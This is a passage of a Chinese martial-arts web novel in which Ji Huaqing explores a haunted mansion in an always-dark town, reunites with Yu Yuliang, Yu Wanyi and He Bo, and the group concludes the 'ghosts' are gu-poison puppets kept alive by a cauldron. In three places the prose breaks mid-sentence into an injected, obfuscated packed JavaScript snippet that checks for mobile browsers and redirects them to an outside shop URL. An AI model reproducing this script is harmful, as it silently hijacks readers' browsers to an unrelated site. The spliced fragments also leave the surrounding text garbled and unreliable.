姬花青在镇子上的大街小巷左绕右绕,都没见到雨馀凉的身影,正心想难道自己要将镇子上的每个屋子都搜索一遍时,她发觉自己来到了一座修建得极其气派的府邸前。 这府邸一看就是当初镇上极有权势的人所住的地方,自己走了那么久,并未看见有哪一座宅邸修成这般。姬花青心想,那些人变成鬼后,鬼与鬼相处,仍会按照彼此活人时的身份相处吗?那这屋子里岂不是可能住着众鬼的头领? 姬花青心下一动,先左顾右盼了一番,随即走上前去轻轻推门,那门吱的一声开了,竟然没锁。 大门翕开一条缝,姬花青没有直接进去,而是先朝门缝里扔了块碎砖,过了一会没听见什么动静后,姬花青又朝身后望了望,这才侧身从门缝钻了进去。 姬花青穿过一道道游廊,来到一处应该是这宅邸后花园的地方。昔日的水塘已变成泥潭,地上铺的砖石也十分破碎,残砖碎瓦里钻出一根根杂草。 姬花青走到一处,忽然感到有什么东西极轻地打在额头上,那轻痒的触感似一条小蛇般一直钻到她心里,使她头皮一阵发麻。她抬头望去,只见一只手掌大小的蜘蛛悬在自己眼前两三寸的地方。寻常的蜘蛛就已经长了一副令人很难受的模样,那蜘蛛身形干瘦枯槁,比寻常的蜘蛛更有一种说不上来的诡异。 姬花青从小就怕蜘蛛,并且对蜘蛛的恐惧极其稳定地维持到现在。 她飞快地逃了开去,一边飞奔,一边感到自己背上的麻意一阵阵涌上来。 当姬花青再次从一条回廊下走过时,余光似乎瞥见旁边有个白影。她原本走得快,走过几步后才停了下来。 姬花青这个人很怪,越怕什么东西越是想去看看,小时候听人讲鬼故事,怕得要死又忍不住去听,明明每次听了后都更加害怕,下一次却还不吸取教训,依然要听。现在毛病又犯了,明明应该拔腿就跑才对,可她非要忍不住倒回去看个明白。 于是她倒了回去。 在倒回去的前一刻,她心惊肉跳到了极点,已经做好了有什么东西在迎接她的准备,可那里什么都没有。 姬花青松了口气,将头转回来后,刚好与一张惨白无比的脸对上。 姬花青用了极大的力气才将尖叫生生咽了回去。 她拔腿就跑,明明刀就在手上,却硬是忘了拔出来。刚决定要从柜子里出来时的满腔豪气,“有本事把老子也变成鬼啊”的狠劲,到了此时全部荡然无存,根植在内心深处的对鬼的惧怕压倒了一切,以至于她在做出思考前,身体就已率先行动起来。 好在姬花青轻功还是没白练那么多年,她不顾一切使出浑身解数地逃跑一阵后,忽然感到身后似乎没有东西在追了,便回头看去,见果然已将那鬼甩掉,姬花青慢下脚步,狂跳的心脏逐渐平复下来。 姬花青一边用手背擦去颊边留下的汗,脑子这才能正常运转,她想,刚刚那个鬼,会不会是这座宅邸里鬼主人的侍从?跟着那鬼走,能不能找到这间屋子的鬼主人? 姬花青觉得自己不能再漫无目的地转下去了,她决定回去找刚刚那个鬼,悄悄跟上它。 姬花青本来是站在一座小花园中思考此事,然而就在这时,她似乎看见花园角落假山旁的漏花窗后有什么东西一闪而过。 姬花青才擦完汗的脸颊此时又有冷汗涔涔而下,她轻轻喘了口气,最终曳开步子向漏花窗下走去。 窗子后面什么都没有。 姬花青一颗心砰砰直跳,她咬着牙,由门洞转到了漏花窗的另一边。另一边黑洞洞的,什么都没有,她正欲迈步继续向前,忽然白光一闪,姬花青曾多次跟人夜斗,知道这是兵刃在黑夜里闪出的光,想都没想,当即拔出长刀用斩云诀的手法以拆解代格挡向那会使兵刃的鬼刺去。 天上的云千变万化,行踪不定,而斩云诀则取将这些无法捉摸无法触碰的云雾一一斩裂的意思,是十分高妙的刀法,只听对面那鬼道:“嚯,这玩意儿里面还有高手?” 这是姬花青来到永夜镇后第一次听到鬼口吐人言,心下一惊,和对面那鬼异口同声道:“你是人是鬼?”“你是人还是什么?” 如果对面是鬼,姬花青的武功再好,也拿它没法,心里到底是虚的,可对面要是个人,姬花青便突然不那么害怕了。 不仅如此,姬花青还觉得,对面那……不知是人是鬼的东西,声音有一点耳熟。 姬花青正迟疑不定时,对面率先凑了过来,姬花青见他突然靠近,条件反射地就要举刀,但见他没有下一步动作,也就按刀未发。他打量了姬花青一会,语音里带着一丝雀跃道:“这位姑娘,你也是被困在这里了吗?” 姬花青听他这么说,心想难道除了自己和雨馀凉,这邪门鬼镇里还有其他活人?当即喜出望外,也有一种找到了组织的欣慰快乐。然而在下一刻看清对面的脸时,笑容又凝固在了她的脸上。 这真是,人生何处不相逢。 居然是跟鱼晚衣一伙的那汉子! 因为是在河伯和鱼晚衣走之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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河伯笑道:“姑娘难道当真相信世界上有鬼?” 姬花青道:“按照常理来说,当然是没有的,但大千世界,无奇不有,说不定有很多我们想象不出的事物真实存在于这个世上。” 河伯没再继续这个话题,只道:“奇怪,怎么这座宅子几乎都找遍了也没找到?” 姬花青道:“还有什么地方没找过?” 河伯道:“还有中间最大的那座院子,但我总觉得它鬼气森森,不想靠近,就先找了其他地方。” 姬花青道:“你不是才说这世上没有鬼,怎么又说那院子鬼气森森?” 河伯道:“这只是一个形容,我是觉得,那座院子散发着一股肃杀之气,姑娘,你会武功,平时应该也在江湖行走,能感受到杀气一类的东西吧,虽然这没什么依据,只是一种直觉,但我们江湖人在这方面的直觉往往很准。” 姬花青看向中间那座院落,不知是被河伯的话所暗示还是怎么,确实也觉得那院子阴郁难言,似被一团黑气笼罩。 河伯道:“不过再不想靠近,如今也只能去那地方找找了。” 二人从角门进入院子,果然在正房侧面的墙边发现了一枚银针。 河伯终于发现了鱼晚衣的踪迹,心中高兴,一边笑着道:“真会找地方,跑哪不好偏偏跑到这里来。”一边将那枚银针捡起,小心翼翼地避开针头,再装入了随身携带的小袋中。 可姬花青和河伯将正房里里外外都找了一遍,也没发现鱼晚衣的身影。 进到正房里时,姬花青总觉得有哪里有点奇怪,但又说不上来,过了一会才想到是屋内太干净,桌面小几并无灰尘,墙角也没蛛网之类,简直就像有人现在还在这里居住一般。但她转念又想,既然这宅子里现在都还有变成鬼了也还在搬花盆的仆从,那么会有鬼经常来这里打扫生前主人的屋子,也是有可能的。 二人又将两边厢房、游廊、院落各处寻了个遍,都没见到鱼晚衣,也没再找到其他银针。 河伯道:“奇怪,难道她也不在这里吗?” 姬花青与河伯又回到了一开始发现鱼晚衣银针的地方,正房侧面的墙角,河伯伸手把上墙壁,突然“咦”了一声。 姬花青道:“怎么?” 河伯道:“这面墙有猫腻。”说着用力在刚刚手掌接触的地方用力一推,那墙竟似一扇门般打开了些许。 二人看着漆黑的门后,又相互对视一眼,一同走了进去。 河伯取出一根火折子晃亮,只见眼前是一条狭窄的走道,走道侧壁挂着没有点燃的蜡烛。 姬花青和河伯顺着走道往前走,那走道不断下沉,又弯弯折折,当二人转过第三个弯后,眼前忽然宽阔起来,原来走道的尽头是一间密室。 密室中坐着两个人,其中一个正是鱼晚衣,而另一个,却是雨馀凉。 58. 梦魇(二) 离开姬花青后,雨馀凉一个人走在街道上。他虽说是要去寻找离开这里的办法,但具体要怎么做,从哪里开始入手,他也一点头绪都无。 雨馀凉在街上倒是看到了几个徘徊游荡的鬼,他不像姬花青那样怕鬼,但因为知道这些鬼杀不死,不想在它们身上耗费时间体力,所以也是尽量绕着这些他们走。 只是雨馀凉怎么也没想到的是,除了姬花青以外,他会在这座镇子里看到别的活人,还是这些日子以来他一直想努力忘掉的人。 第一眼看到鱼晚衣,在一片黑暗中看到那抹如云彩般的衣衫时,雨馀凉甚至怀疑自己出现了幻觉。 鱼晚衣也看见了他,但还没来得及说些什么,两人运气不好,当场就被游荡的鬼发现了,于是一路跑到了这座大宅中来。 姬花青是从正门进的这座宅邸,而雨馀凉和鱼晚衣则为了躲鬼,慌不择路地从后门先进了这府邸的花园。 二人在宅邸里背靠着背一路走到了这座大院子,在发现墙里密道后,鱼晚衣往地上扔下一枚银针,随后二人来到了最深处的密室。 鱼晚衣发现密室中的小桌上放着一盏油灯,灯里还有不少灯油,便用火折将油灯点亮。 雨馀凉和鱼晚衣相对而坐,灯光在两人的脸上投下晃动的阴影。 雨馀凉突然道:“把长命锁还给我。” 鱼晚衣一怔,过了一会才道:“你才刚见到我,第一句话就是这个?” 雨馀凉低下头,复又将头抬起,看向鱼晚衣的脸,道:“我与你之间,还有其他什么话可说?” 鱼晚衣道:“你既那么想拿回长命锁,那就杀了我啊,杀了我,再从我身上搜,就能拿回你的长命锁了。” 雨馀凉气急,道:“你……你……” 鱼晚衣手一抛,长命锁便到了雨馀凉怀中,她道:“本来就是要还给你的,急什么?” 雨馀凉将长命锁握在手中一看,只见那银锁通体晶亮,发黑的地方尽数不见,是把名副其实的“银”锁了。 见雨馀凉有些发懵,鱼晚衣得意道:“这可是我亲自去找了个银匠帮你炸亮的。” 雨馀凉听了,怒道:“你!谁叫你自作主张?谁叫你拿去炸了?”雨馀凉一边说,一边仔细拿着长命锁细看。他生怕有什么关键的地方恢复不了,对自己找寻身世有影响,不过看了一阵,发现长命锁除了变得比原先白亮,其他的地方暂时还没看出什么变化。 况且鱼晚衣将这长命锁拿到外面请人去炸,他不知道有没有吸引有心人的注意。经历了先前在敛安发生的事,雨馀凉已变得比先前谨慎许多。 鱼晚衣听他的话语中有怪责之意,心里有些不舒服,但转念一想,又确实觉得是自己草率了,于是道:“我也是好心帮你,你不喜欢,我下次做跟你有关的事之前征求你意见行不行?” 雨馀凉听她语气委屈,怒气消了一大半,对自己向她发火也有些后悔,于是闷闷嗯了一声。 他虽恼恨鱼晚衣当初从自己这夺走长命锁,但眼下她已将长命锁还给了自己,且又一直记得当初二人相互帮扶,共历生死,一起抵御连江和万克礼时的情形,是以对鱼晚衣怎么也狠不下心来。 过了一会,雨馀凉道:“为什么你夺了我的长命锁后又将它还来?” 鱼晚衣道:“你也知道,你的长命锁里有玉钥匙和人皮图,有这两样东西,就能找到宝藏,宝藏谁不想要?” 雨馀凉垂下眼睑,道:“你想要宝藏么?” 鱼晚衣默然,随后道:“我要了也没用。” 雨馀凉道:“那你为什么要抢走它?” 鱼晚衣道:“我要了没用,可我的家主需要它!” 雨馀凉一愣,喃喃道:“家主?” 鱼晚衣进入永夜镇后和河伯走散,自己又在镇里徘徊了许久,一直遭遇鬼打墙,精神近于崩溃,之后遇到雨馀凉才稍微好些,但也觉出去的希望渺茫。 她突然觉得,尘世中很多的秘密,到了这里也已经无所谓是不是秘密了,何况雨馀凉只是个跟自己要做的事无关的傻小子。于是鱼晚衣道:“我实话和你说了罢,我是水西聊氏麾下九歌的人。” 对于九歌,雨馀凉听说过一点点,知道这是水西聊氏手下的一个组织,当年聊正赟还活着时,就已经存在。 雨馀凉一愕,道:“你是九个人中的谁?”他先前只听鱼晚衣说过自己在为某个主子办事,却没想到她的主子这么不得了。 鱼晚衣本来要直接说,话到嘴边,却突然转了念头,道:“你猜?” 雨馀凉道:“我猜不出。” 鱼晚衣道:“反正在这里什么事都做不了,你猜一猜,就当苦中作乐了。” 雨馀凉道:“湘夫人?” 鱼晚衣笑道:“不是。” 雨馀凉又道:“湘君?” 鱼晚衣道:“不是。” 雨馀凉在心里默默将九歌的神祇过了一遍,道:“少司命?” 鱼晚衣道:“大少二司命,之前你见过的,就是在敛安附近那两个小孩子。” 雨馀凉惊道:“他们还是小孩子,武功就已那么高强?”雨馀凉知道有年纪极小的武学天才,但这么小就已经待在九歌这种组织,还是吃惊不已。 鱼晚衣道:“他们只是外表看上去是那样,实际年龄比邢大哥还大呢。” 雨馀凉道:“邢大哥?” 鱼晚衣道:“就是我的搭档,邢勘邢大哥,你也见过了,还见过两次,第一次是在谷州府,记得吗?九歌成员除东皇太一外,都是两两搭档,如果你猜出了我的代号,也就能知道他的代号了。” 雨馀凉看着她如云彩般的衣衫,想要说云中君,但话到口边,却没按常理出牌,说道:“东君?” 鱼晚衣道:“东君是个帅气的大哥哥,你猜错啦。” 雨馀凉先前听鱼晚衣说九歌除东皇太一外都是两两搭档,心想既然邢勘也不是东君,那么她也不是与东君相配的云中君了,于是道:“那么你是山鬼了。” 鱼晚衣笑道:“真不容易,将九歌猜了个遍,这才猜到正确答案,你是觉得山鬼这个代号和我不相符吗?” 他看着鱼晚衣娇媚的眼尾,只觉她双眼灵动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080814|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可爱,确实就像山中的精怪,想说这个代号很适合她,但终究没说出口。 雨馀凉道:“那位邢勘大哥,就是河伯了?” 鱼晚衣道:“没错。” 雨馀凉在心中回想二人的代号,不知为何,心中有些郁郁。 雨馀凉道:“之前的问题还没说完呢,既然你们聊氏的家主想要宝藏,现在又为什么要把长命锁还给我,还特意……特意去将它炸亮了。” 鱼晚衣道:“我可能表述得不是很准确,倒也不是我们家主想要宝藏,而是我们做下属的觉得这宝藏对他达成目的有用,所以自作主张将玉钥匙和人皮图夺来。” 鱼晚衣两手交叠,将脸靠在手背上,继续道:“但是呢,宝藏到底是虚无缥缈的东西,毕竟谁也不知道里面到底是什么。再者我们觉得,以家主的能力,要达成他的目的,又何须这些虚无缥缈的宝藏,如今家主的计划正进行到关键的时刻,现在我们要做的,是尽力帮助家主达成目的,若一味去寻宝,岂不是本末倒置了?” 雨馀凉其实跟鱼晚衣一样,也觉得从这镇子出去大约是无望了,他听鱼晚衣和自己坦诚说了这许多,便道:“鱼姑娘,你曾问过我,知不知道夏篁是哪里的人。” 鱼晚衣不意他突然提起这事,道:“啊……是,怎么了?” 雨馀凉道:“那天我没跟你说实话,夏篁他,应该来自绵作。” 鱼晚衣听了他这话,猛地挺直了腰,但随后又慢慢委顿了下去。 事到如今,她知道了这些又有什么用呢。 尘世已经在离她很遥远的地方了,进了这永远都是黑夜的镇子后,就像到了另一个世界,过去种种,简直都像是上辈子发生的事。 过了一会,鱼晚衣才轻声道:“好啊,原来你这小子看起来又傻又呆,实际上这么坏!” 雨馀凉道:“那时我才刚认识你不久,哪能你问我什么就说什么?我……我看起来很呆很傻么?” 鱼晚衣道:“嗯。”之后又道:“但是我喜欢。” 雨馀凉抬头,一脸错愕地看向鱼晚衣,鱼晚衣道:“你……你可别误会,喜欢就是喜欢,就像喜欢吃牛肉面一样,是很普遍很平常的那种,可没什么特殊含义。” 若不是二人都觉得将和对方一起永远留在这镇子中,会不会对对方如此坦率? 雨馀凉想到最后是跟鱼晚衣在一起,心里倒没那么堵得慌了。 只是到最终,还是没能知道自己究竟是谁。 鱼晚衣道:“你问我为什么一开始没有将长命锁夺去,还有有一个原因。” 雨馀凉道:“什么原因。” 鱼晚衣道:“你身边有那位木姜前辈,我们忌惮他,所以也一直在等待机会,之后见他被其他人缠住,留你一个人在一旁,我们这才动手的。说起来,那位木前辈呢?” 雨馀凉听她提到木姜二字,突然想起姬花青来,脸上忽然变色道:“糟了!” 鱼晚衣被他吓了一跳,道:“什么糟了?” 雨馀凉道:“花青前辈……花青前辈还在那里,我说了会回去找她的!” 59. 梦魇(三) 鱼晚衣道:“花青前辈?是谁?”她只知道鱼晚衣身边有个疤脸汉木姜前辈,不知道什么时候又冒出个花青前辈,心道:“你前辈有点多啊。” 雨馀凉正要解释,却在此时忽然听见密室外面的过道有脚步声响。雨馀凉和鱼晚衣同时警惕起来,等看清来人,雨鱼二人又同时松了口气。 雨馀凉简直不敢相信自己的眼睛,道:“花……花青前辈……”鱼晚衣则对河伯邢勘道:“看来我的记号没白留,还真被你找过来了,一开始我还担心你发现不了暗门呢。你身边是谁……嗯?等会……”她看了看雨馀凉,又看向姬花青,道:“这就是那位花青前辈?” 雨馀凉道:“啊……是的。” 邢勘和姬花青也走进密室中坐下,姬花青对雨馀凉道:“馀凉,原来你在这,你是怎么到这来的,还和鱼姑娘在一起?” 鱼晚衣感到奇怪,心道:“她怎么知道我姓鱼?” 于是雨馀凉将他和鱼晚衣到这来的经过简单说了一遍,又道:“我一开始虽还是有些害怕,但遇到鱼姑娘后,不知怎的,便一点都不害怕了。” 鱼晚衣看了雨馀凉一眼,二人目光相接,鱼晚衣红了脸,忙看向别处。雨馀凉见她这样,也红了脸低下了头,心中烦恼方才是不是说错了话。 姬花青心想,嗯,我在那边黑灯瞎火担惊受怕,一边担心你被鬼啃了一边害怕自己被鬼啃了,你在这里有光有火有人陪。 关键是和另一个人之间的气氛还很奇怪。 鱼晚衣道:“邢大哥,你和这位……花青姑娘,又是怎么走到一起的?” 邢勘道:“跟你们的故事差不多,也是偶然间就遇到了。只是没想到这么巧,我们双方要找的人碰在了一块。” 鱼晚衣对雨馀凉道:“所以那位木前辈呢?他还跟你同路么?他是不是也被困在这座镇子里了?” 姬花青道:“鱼姑娘,我就是木姜。” 鱼晚衣睁大了眼,道:“你……”她看向邢勘,邢勘笑了一声,道:“怪不得先前跟你在一处时,感到你的内功有些熟悉。” 姬花青微笑道:“因为种种原因,我改变了外貌。”同时暗暗心惊,心想之前在谷州府时听到邢勘提了一嘴,自己倒差点忘了他有如此麻烦的异能。 鱼晚衣和邢勘对视一眼,看她没有对夺走雨馀凉长命锁一事兴师问罪的意思,都逐渐放松下来。 姬花青问道:“两位是什么时候进来的?” 鱼晚衣道:“不知道,这里面没有白天黑夜的交替,根本无从得知时辰的变化,但我感觉总有几天了吧。” 雨馀凉道:“鱼姑娘,邢大哥,你们还记得自己是怎么进来的吗?” 邢勘道:“就是突然就进来了,本来还在树林里走,走着走着周围的景象一下就变了,等反应过来时,已经在这里了。” 雨馀凉跟姬花青对视一眼,道:“那跟我们差不多,我们也是走着走着就进来了。本来还说远远地看见这镇子就绕着走,结果根本没那个机会。” 邢勘道:“哦?听这意思,你们进来前知道这座镇子?” 雨馀凉道:“是,我们进来前在一户人家蹭了顿饭,那位姑姑说林子里有座闹鬼的镇子,曾经发生过山贼诈尸将全镇人杀死的事,死于非命的人怨气冲天,造就了这座闹鬼的永夜镇。” 邢勘一拍大腿,道:“你们蹭饭的那户人家,是不是在一座村子里?” 雨馀凉摇头道:“不是,是单独住在树林里的一户人家。” 邢勘道:“哦……那看来我们去的不是同一家。” 姬花青道:“也有人给你们讲过类似的故事?” 邢勘道:“对的,只不过我们是在一个村子里落脚时,听村民讲起的。”他回想起那时的情景,村民们跟他和鱼晚衣讲起永夜镇的传说,并警告他们不要进到树林深处后,一名村民道:“阿翠说不定就是被困在里面出不来了。”另一个村民道:“不过是要跟她说门亲事,她却宁愿逃进树林里去也不愿意嫁人,这下好了,被永远困在那鬼镇里变了孤魂野鬼了。”河伯不知道他们所说的阿翠是谁,也不感兴趣,所以并未深究。 邢勘又是将手往大腿上一拍,道:“不过我们是不信邪,这种鬼故事,各地都有,没想到这回好像是真的。”他看向雨馀凉和姬花青,道:“但不信邪的不止我们,你们跟我们一样不信邪是不是?结果也被困在这里了。” 雨馀凉道:“倒不是不信邪,我们多少还是相信的,不然也不会想着要绕着永夜镇走了,只是没想到提前留了心眼,还是误入了这里。我们晚上行路,这镇子又永远都是夜晚,晚上看不真切,连什么时候进来了都没发觉。” 邢勘道:“你们是走夜路才进来的,可我们赶路的时候是大白天,也不知怎么的就进了这里。” 鱼晚衣道:“我们进这座镇子前,时候应该是正午,可时间就像突然变快了一样,日头很快就西斜,然后黄昏,不久后天就完全黑了,我们正感到奇怪时,就发觉已经在镇子里了。之后我跟邢大哥又走散,这才碰见了雨少侠。” 姬花青道:“早晓得这世上真有鬼,身上就该备点符咒等驱除邪祟之物。” 邢勘嗤的一声笑道:“依我看,这些玩意儿不是鬼。姬姑娘,你可还记得在谷州府时,那些被下了蛊的狱卒?” 听邢勘这么一说,姬花青的眼睛略微睁大,似乎有什么东西忽然想通了,明晰了,她道:“你是说……” 邢勘道:“不错,这里面的所谓‘鬼’,跟那些蛊毒傀儡一样,就算受了常人受了后必死的重伤,尽管躯体残损,也依旧能活着。这个镇子也许曾经是发生过村民们说的那事,那个尸变的山贼么,大约就是第一个被种下蛊虫的人。正常人被身中蛊毒的人咬中,也会变成蛊毒傀儡,就像我们在谷州府看到的那样,也就是说,这一个镇子的人都是被那山贼变成蛊毒傀儡的。但一般人不知蛊为何物,自然也就不清楚其中奥秘,如此几十一百年过去,故事越传越玄乎,就成了今天的样子喽。” 姬花青想起之前被自己砍断脊柱那只鬼,它脊柱歪折,四肢快速划动向自己爬来的样子,确实让她觉得与那些蛊毒傀儡的样子十分相似。 这么一想,姬花青顿时不那么害怕了,却还是道:“可这里一直是黑夜,又怎么解释?” 邢勘道:“也许是某种术法,但不管是什么术法,我想都不会是怨气这种东西。如果大量的怨气便能达成这种效果,那么不止这永夜镇,这江湖中很多地方都永远只有黑夜了。” 姬花青道:“但还有疑点。” 邢勘道:“什么疑点?” 姬花青道:“蛊虫是稀缺物,蛊在蛮疆虽比其他地方都常见,蛮人也用得十分珍惜,只因即使知道培育蛊虫的方法,在饲养的过程中也极易养坏,最终成功培育出来的蛊虫可谓是凤毛麟角。如果是蛊,哪来这么多蛊能下到整个镇子的人身上?如果身上没有蛊虫,而只是因为被中了蛊毒的人咬伤变成了蛊毒傀儡,他们不会现在还能行动,单是蛊毒在人身体上维持效用的时间远不及蛊虫,如今距这镇子发生异变已过了一百年,蛊毒应该早已失效才是,可那些镇民依旧还能在蛊的驱使下行动。” 鱼晚衣道:“可能是那些身上没有蛊虫的人已经……呃,死了,我们看到的,都是身上有蛊虫的。” 姬花青道:“可就算剩下的都是身上有蛊虫的,这个数量也太多了一点。” 邢勘道:“不知你们听说过‘蛊鼎’这种东西没有?” 雨馀凉和鱼晚衣愣了一下,都说没有。姬花青愕然道:“难道说……这镇子里竟有那种东西?” 邢勘点头道:“姬姑娘刚刚分析的有理,所以以如今的情况,也只有这种可能性了。” 雨馀凉问道:“蛊鼎究竟是什么?” 姬花青道:“蛊鼎是一件奇物,只需在里面焚烧特定的材料,那么身中蛊毒之人,就算身上没有蛊虫,在蛊鼎冒出的烟雾的作用下,体内的蛊毒也永不会失效。” 鱼晚衣咋舌道:“还有这种东西,以前从未听说过。” 邢勘道:“你才多大?没听过的东西多着呢。” 鱼晚衣瞪了邢勘一眼。 根据蛊毒的不同,要维续蛊毒需要焚烧的材料也不同。姬花青想,怪不得自己一进这镇子后就总感觉身体有些怪怪的,难道是那蛊鼎焚烧的其中一味或几味材料跟自己身上的蛊毒产生了反应? 姬花青道:“这样的异宝,怎会出现在这样的小镇中?” 邢勘道:“所以说,这镇子不简单哪,不过想要知道答案,只需找到那蛊鼎,很多问题说不定就迎刃而解了,所以……”他看向其他三人,道:“我们要先制定一个计划,是同时分头去找蛊鼎,还是一个一个轮流去找。” 姬花青见邢勘眉头微皱,而自从来到灯光下,就注意到他脸色微微发青,不仅是邢勘,鱼晚衣亦是如此。 姬花青不知道二人此前经历了什么,竟至于双双负伤,不过江湖就是如此,不是你杀我,就是我杀你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090816|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,受外伤内伤如喝水吃饭,这倒也不稀奇。加上玉钥匙和人皮图在他们手上,不愁没有架打。 想到长命锁,姬花青倒真打算和他们谈谈这件事,她尚且不知鱼晚衣已将长命锁还给了雨馀凉,但想着眼下四人皆被困于永夜镇中,当务之急,是通力协作从这里出去,还是不要挑起矛盾的好,便暂且将此事压在心中,再有什么事都决定出去再说。 但有一件事,姬花青认为是不得不先挑明的,这件事就像一头伏在暗处、随时都会暴起的猛兽,若不先把这事处理了,姬花青觉得自己随时会有危险。 于是姬花青道:“阁下还想找我报断臂之仇么?”她察觉到邢勘自从知道她就是木姜后时不时就瞟向她,于是这时转过头去看向邢勘如此问道。 一个随时想找自己报仇的人就在身畔,那么做什么事情都不能放心,必须先提起这件事,提前排除隐患。 说实话,一开始,姬花青自己也不清楚六年前是不是自己斩去了邢勘的小臂,她跟人打架,向来只注重对方的出招,满眼都只有对方的兵器,从不在乎对面的人是高是矮是胖是瘦,再加上她不太擅长记忆人脸,所以很多曾经跟她交过手的人,再一次出现在她面前,她都一点印象都没有。于是经常发生别人认识自己,自己不认识别人这种情况。 可之后邢勘却偏偏提到小菟村,姬花青这才确定,斩断邢勘小臂的人确实不是自己。 因为她六年前压根没去过什么小菟村。 邢勘道:“不了,我现在也觉得不是你了。” 师出同门之人,虽然修习的是同一种运使内功的方式,但根据自身条件和习惯的不同,不同的人运使内功时体内血管、肌肉、真气的活动也有细微的差别,而河伯正是能感受到这些细微的差别。也是因为他这项异能于认人寻人有大用处,所以才被上一位聊氏家主,也就是上一位水西掌盟聊正赟看中,招入九歌之中。 无涯派运功方式罕见,六年前小菟村中,邢勘在此前从未碰到过以这种方式运功的人,再加上被打得节节败,断臂之际心绪紊乱,甚至他连袭击自己的人是男是女都没看清。于六年后再见到姬花青时又感知到了以此种方式运使的内功,便认定当初断他手臂之人就是姬花青。 但此时跟姬花青一同待了良久,邢勘察觉到,虽然二人运使内功的大体方式相同,但还是有区别的,姬花青跟六年前断去自己小臂的,确实不是同一人。 只是,若姬花青有同门的话,那么她同门的嫌疑就很大了。 邢勘道:“不知姬姑娘师从何门何派?” 姬花青道:“实不相瞒,我并不知道我师承自什么门派,师父从未跟我说过。不过之前谷州刀派大较时,我曾见到馀凉使出的好像是师父传授给我的武功,之后从他爷爷口中才得知这武功来自一个叫做‘无涯派’的门派。” 邢勘道:“那可有跟姑娘一同学艺的师兄弟姐妹?” 姬花青道:“我师父就只我一个徒弟。” 邢勘又问:“敢问尊师是谁?” 姬花青看了邢勘一眼,道:“这个就恕不奉告了。” 邢勘认为姬花青不是没有包庇同门的可能,并且她师父也有嫌疑。然而他也没再追问下去,不管怎样,如今好歹有了线索。他不急着复仇,当务之急,是赶快从这个鬼地方出去。 姬花青不知邢勘是真心觉得不是自己断了他小臂还是为了要合作从这里离开决定先放下仇怨,只是既然他这么说了,两人也算挑明了,再怎么也比先前相互猜测对方在想什么的状况好。于是站起身道:“既如此,也不再说闲话了,我这就去寻找蛊鼎。”姬花青恐惧稍却,便开始感到焦虑起来,她不能再在这浪费时间。 邢勘道:“你去么?” 姬花青道:“你和鱼姑娘都受了内伤吧,这种情况下,只有我辛苦点了。” 邢勘和鱼晚衣对望一眼,他们二人先前确实都受了较重的内伤,如今身体依旧不适。邢勘道:“那么就辛苦姬姑娘,有什么事,就赶紧往这边来。”鱼晚衣亦道:“姬姑娘,一切小心。” 姬花青点头道:“好。” 邢勘又道:“姬姑娘,你知道蛊鼎长什么样么?” 姬花青道:“我没见过实物,但曾看过蛊鼎的绘图,想是能认出来的。” 雨馀凉道:“花青前辈,你一个人不害怕了?要不我跟你一起?” 姬花青笑道:“我这回在你面前丢人丢大了。不用,你就跟着邢大哥和鱼姑娘两位一起,等我回来。” 60. 梦魇(四) 姬花青走后,三人一时无话,邢勘突然看向雨馀凉,问道:“那位姬姑娘,是你师父?” 雨馀凉想,真是谁来都问自己这个问题,正要回答,鱼晚衣道:“不是,姬姑娘只是教雨少侠武功,并不曾让他拜师。” 雨馀凉道:“花青前辈不让我称她师父,拜师大礼也没有让我行,但她教我武功十分认真。” 邢勘道:“那她吃亏了啊,如此吃力不讨好,她图什么呢?难道是她们门派的武功要绝迹了,得赶紧寻个传人吗?” 雨馀凉道:“花青前辈武功驳杂,所会使的各门各派武功招式极多,倒是没教我多少她自己门派的功夫。” 邢勘听了,皱眉思索一阵,忽然道:“我知道姬姑娘为什么不让雨兄弟拜她为师了。” 鱼晚衣睨他一眼,道:“为什么?” 邢勘正准备开口,却自己也掌不住嗤的一声笑了出来,鱼晚衣和雨馀凉皆用奇怪的眼神望着他,邢勘呵呵笑了几声道:“姬姑娘一定是看上雨兄弟了!” 此话一出,雨馀凉被自己的口水狠狠呛了几下,他一边咳一边道:“邢大哥,别乱说!花青前辈、花青前辈才不会……” 邢勘以一副过来人的口吻道:“有些女孩子喜欢上了一个人,是怎么都不会说出来的,姬姑娘嘛,我一看就知道是这种类型。”他面带笑意向雨馀凉看了几眼,接着道:“雨兄弟眉清目秀的,长得就招女孩子稀罕,虽然比起我来还是差点,对吧,小鱼。” 鱼晚衣的声音忽然变得有些大:“你说他就说他,扯我身上做什么?” 邢勘道:“问问你的看法而已。” 鱼晚衣方才瞬间绷紧的脊背略微放松了一些,道:“……你怎么就知道姬姑娘是这种类型的?胡说八道,当心她一会儿回来听到揍你!还有……”鱼晚衣嘟囔道:“你也不照照自己,你哪只眼睛看到自己比人家好看了,真不自量力!” 